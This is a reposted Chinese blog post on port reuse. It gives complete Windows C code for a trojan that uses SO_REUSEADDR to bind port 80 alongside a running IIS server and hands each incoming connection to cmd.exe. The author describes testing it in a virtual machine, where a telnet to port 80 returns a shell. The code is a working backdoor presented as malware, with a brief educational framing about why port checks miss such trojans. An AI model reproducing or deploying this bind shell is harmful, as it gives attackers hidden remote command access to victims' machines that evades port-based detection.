标签:
本文转自:http://www.cnblogs.com/handt/archive/2012/08/10/2631728.html
端口复用,字面意思就是,重复使用一个端口
记得有一次同学的 sina 微博总是自动发消息,当时让他查看本地端口,再通过端口找到对应程序
学了端口复用和线程注入之后,发现这种方法对“高级点”的木马完全没用……
还是需要一些强大的 HIP 工具来检查
回到正题
端口复用,使用到了一个重要的函数:
int setsockopt( __in SOCKET s, __in int level, __in int optname, __in const char *optval, __in int optlen );
其中第三个参数使用BOOL型值 SO_REUSEADDR,作用介绍:
Allows the socket to be bound to an address that is already in use. For more information, see bind. Not applicable on ATM sockets.
通过对 socket 使用该设置,达到重用已绑定端口的目的。
另外,第一个参数的socket必须通过WSASocket建立才能被替换端口,socket()建立的就只能用管道来通信了。
完整代码如下:
#pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"user32.lib") #pragma comment(lib,"advapi32.lib") #include <iostream> #include <WINSOCK2.H> int main() { WSAData wsaData; SOCKET listenSock; // 1st: initial wsadata and socket WSAStartup(MAKEWORD(2,2),&wsaData); listenSock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); // 2nd: setsockopt BOOL val = TRUE; setsockopt(listenSock,SOL_SOCKET,SO_REUSEADDR,(char*)&val,sizeof(val)); // 3rd: bind -> listen sockaddr_in sockaaddr; sockaaddr.sin_addr.s_addr = inet_addr("192.168.199.128"); sockaaddr.sin_family = AF_INET; sockaaddr.sin_port = htons(80); int ret; ret = bind(listenSock,(struct sockaddr*)&sockaaddr,sizeof(sockaddr)); ret = listen(listenSock,2); // 4th: accept int len = sizeof(sockaaddr); SOCKET recvSock; recvSock = accept(listenSock,(struct sockaddr*)&sockaaddr,&len); // 5th: create new process to invoke cmd STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock; char cmdLine[] = "cmd"; PROCESS_INFORMATION pi; ret = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&pi); return 0; }
试验过程:
在虚拟机中建立 iis 服务器,占用80端口
启动木马程序,看到另一个80端口对外的连接:
在宿主机中
telnet 虚拟机ip 80
会反弹回 shell
标签:
原文地址:http://www.cnblogs.com/dongchi/p/4470822.html